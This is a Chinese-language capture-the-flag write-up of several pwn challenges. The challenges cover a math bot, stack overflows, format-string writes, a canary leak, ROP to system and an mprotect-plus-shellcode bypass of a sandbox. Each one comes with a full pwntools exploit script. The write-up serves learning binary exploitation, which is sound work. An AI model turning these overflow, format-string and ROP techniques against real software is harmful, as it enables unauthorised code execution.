前言
学习pwn 附件链接(多含一道pwn二叉树的题[可以试试]):https://pan.baidu.com/s/1MBSTpnmFcbISxkNlGGaaOw
提取码:abcd
check in
查看保护后运行下

让我们算加减乘除,能简单用pwntools就可以做。我们需要知道python的eval函数是用来执行一个字符串表达式,并返回表达式的值。下面是exp
from pwn import*
context(arch="amd64",os='linux',log_level='debug')
p=process('./math')
for i in range(200):
p.recvuntil('num1:')
a=p.recvuntil(b'\n')
p.recvuntil(b'num2:')
b=p.recvuntil(b'\n')
p.recvuntil(b'The sign of this calculation is ')
c=p.recv(1)
a=str(int(a))
b=str(int(b))
c=chr(ord(c))
if c == "/":
c ="//"
d=eval(a+c+b)
d=str(d)
print(a,c,b,'=',d)
sleep(0.2)
p.sendlineafter(b'Give me your answer!!:\n',d)
p.interactive()
这里需要注意要转换数据类型,我发现"/"单个除法算出来有小数,程序就说算错了,我们就用"//"取整。运算符数据转换要在判断之前,因为"//"是两个字符,数据转换会出错。
恋爱小游戏
我们先检查保护,然后运行下,随便输入,然后就getshell了??


l的ASCII码比h大,无论输什么都会运行system(“/bin/sh”)。
ret2xxone
发现输入数据与随机数比较,由于未设置随机化种子,随机数固定,我们去找到随机数,然后利用后面的v1栈溢出。 (能找到system和binsh地址)

通过调试,找到比较的代码发现了在栈中的随机数0x6b8b4567,然后可以利用漏洞了

exp如下:
from pwn import *
p=process('./ret2xx')
context.log_level = "debug"
p.recvuntil('Try your best to solve it!\n')
p.send(p32(0x6b8b4567))
payload = b'a'*30 + p32(0x80483C0) + b'aaaa' + p32(0x80486D0)
p.sendline(payload)
p.interactive()
(0x80483c0是system地址,0x80486d0是binsh地址,'aaaa'是system返回地址)
恋爱小游戏2
发现主函数有栈溢出,覆盖变量为loveyou即可getshell。
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf[24]; // [rsp+0h] [rbp-20h] BYREF
char s2[8]; // [rsp+18h] [rbp-8h] BYREF
strcpy(s2, "hateyou");
init(argc, argv, envp);
puts(&s);
read(0, buf, 0x20uLL);
if ( !strcmp(loveyou, s2) )
{
puts(&byte_402074);
system("/bin/sh");
exit(0);
}
puts(&byte_402098);
return 0;
}
exp如下:
from pwn import *
p=process('./pwn111')
context.log_level='debug'
p.recvuntil('你想对ta说什么\n')
p.send(b'a'*24+b'loveyou')
p.interactive()
easyfmt
先行惯例后(查看保护机制运行下),有格式化字符串漏洞,还有后门函数,并且他把我们需要修改的地址打印出来了,于是,我们用fmtarg命令找出该地址写入的参数偏移是15个

绕过之后我们利用下面的格式化字符串漏洞修改返回地址,我们调试之后发现偏移是7,

我们找到返回地址在var_3+16的位置,里面存放的是0x084873e ,我们要改成后门函数地址,只需将低地址的3e换成4d即可。
exp如下:
from pwn import *
io=process('./fmt')
context.log_level='debug'
io.recvuntil("First step:\n")
pwnnum_addr=int(io.recvuntil('\n',drop=True),16)
payload=p32(pwnnum_addr)+b"%08d"+b"%15$n"
io.sendline(payload)
gdb.attach(io,'b printf')
io.recvuntil("there\n")
payload2=p32(pwnnum_addr+16)+b"%73c%7$hhn"
print (payload2)
io.sendline(payload2)
io.interactive()
getshell后发现不能命令不能用,这是因为该程序在返回shell时把标准输出描述符关了,我们需要重定向到未关的标准输入描述符,来达到使用命令获取flag的值。执行exec 1>&0 (重定向相关知识可自行百度学习,exec相当于对其永久绑定了)后就可以正常执行命令。
easycanary
先行惯例,开启了canary保护,有后门函数,可输入两次,有格式化字符串漏洞,利用思路就是利用格式化字符串漏洞找到泄露canary,然后把返回地址修改到后门函数地址。 exp如下
from pwn import *
p = process('./canary')
p.sendline(b'%11$p')
p.recvuntil(b'0x')
canary = int(p.recv(16),16) #canary是7个字节加\x00组成的,所以要接收16个十六进制数。
print (canary)
payload = b'a'*0x28 + p64(canary) + p64(0xdeadbeef) + p64(0x4011d6) #0x4011d6是后门函数地址。
p.sendline(payload)
p.interactive()
ret2baby
先行惯例后,发现有system但不能用,有binsh,但是有个小小的坑,就是不能直接用那个字符串的首地址,前面几个字符是错的,我们要从后面取,然后发现有数组溢出漏洞,刚好可以改magic_number获取system地址,需要pop rdi;ret 存binsh字符串,然后需要ret指令执行system函数,exp如下:
from pwn import *
p = process('./ret2')
context.log_level="debug"
binsh = 0x4014D4
rdi_addr = 0x401273
ret = 0x400318
p.sendlineafter(b'please input your position\n',b'20')
p.sendlineafter(b'plz input your value\n',b'0')
p.recvuntil(b'this is a gitf ')
system = int(p.recv(14),16)
print (hex(system))
payload = b'a'*(0x1a) + p64(rdi_addr) + p64(binsh) + p64(ret) +
p64(system)
p.sendline(payload)
p.interactive()
其实还有一种思路就是爆破,他随机数种子没变,随机数排列就是固定的,因此可以利用这个去比较magic_number。
pwn777
先行惯例,我们发现开了Full Relro保护,不能利用.got.plt表了,还有NX保护,不能直接写入shellcode到内存单元执行,还有PIE保护,我们不能直接利用地址了,但没有开canary保护,所以考虑还是栈溢出。第一次输入可以栈溢出修改随机数种子,绕过随机数比较。绕过之后发现是格式化字符串漏洞,我们用它先泄露地址,偏移是6。没思路了,百度找到了某师傅写的wp,学习了下https://www.cnblogs.com/winmt/articles/15554191.html。 因为开了sandbox,禁用了execve,那么one_gadget与system这些也都不能用,所以考虑利用mprotect修改权限,再直接打orw的shellcode拿flag。先获取libc地址,再得到mprotect地址,再获取主函数rbp地址和主函数地址,写入权限后,写shellcode执行,exp如下:
from pwn import *
from ctypes import *
context(os = "linux", arch = "amd64", log_level = "debug")
io=process('./pwn')
libc=ELF("libc-2.23.so")
lib=cdll.LoadLibrary("libc.so.6")
io.sendline(b'a'*0x18+p32(0))
lib.srand(0)
for i in range(10):
io.sendline(str(lib.rand()))
io.sendline(b'%13$p')
io.recvuntil("best!\n")
libc_addr = int(io.recv(14)[2:14],16)
libc_base = libc_addr - 240 - libc.sym["__libc_start_main"]
log.info('LIBC:\t' + hex(libc_base))
mprotect_addr = libc_base+ libc.sym["mprotect"]
log.info('mprotect_addr:\t' + hex(mprotect_addr))
pop_rdi=libc_base+0x21112
print("pop_rdi:"+hex(pop_rdi))
pop_rsi=libc_base+0x202f8
print("pop_rsi:"+hex(pop_rsi))
pop_rdx=libc_base+0x1b92
print("pop_rdx:"+hex(pop_rdx))
payload=b'%6$p'#main_rbp
io.sendline(payload)
main_rbp = int(io.recv(14)[10:14],16)
payload=b'%11$p'#main_addr+30
io.sendline(payload)
main_addr=int(io.recv(14)[2:14],16)-0x30
load_base=main_addr-0x1678
newstack_addr=load_base+0x4060+8
leave_addr=load_base+0x1676
ret_stack=main_rbp+8
payload=flat(["%",str(ret_stack),"c%6$hn"])
io.sendline(payload)
offset=leave_addr&0xff
payload=flat(["%",str(offset),"c%10$hhn"])
io.sendline(payload)
payload=flat(["%",str(main_rbp),"c%15$hn"])
io.sendline(payload)
payload=flat(["%",str(newstack_addr&0xffff),"c%41$hn"])
io.sendline(payload)
payload=flat(["%",str(main_rbp+2),"c%15$hn"])
io.sendline(payload)
payload=flat(["%",str((newstack_addr>>16)&0xffff),"c%41$hn"])
io.sendline(payload)
payload=flat(["%",str(main_rbp+4),"c%15$hn"])
io.sendline(payload)
myrbp=((newstack_addr)>>32)&0xffff
payload=flat(["%",str(myrbp),"c%41$hn"])
io.sendline(payload)
shellcode='''
xor rax, rax
xor rdi, rdi
xor rsi, rsi
xor rdx, rdx
mov rax, 2
mov rdi, 0x67616c662f2e (此处为./flag)
push rdi
mov rdi, rsp
syscall
mov rdx, 0x100
mov rsi, rdi
mov rdi, rax
mov rax, 0
syscall
mov rdi, 1
mov rax, 1
syscall
'''
payload=b"jiaraniloveyou~\x00"
payload+=p64(pop_rdi)+p64((newstack_addr)&0xFFFFFFFFFFFFF000)
payload+=p64(pop_rsi)+p64(0x1000)
payload+=p64(pop_rdx)+p64(7)
payload+=p64(mprotect_addr)
payload+=p64(newstack_addr+len(payload))
payload+=asm(shellcode)
io.sendline(payload)
io.interactive()
本文链接: 极客大挑战pwn详解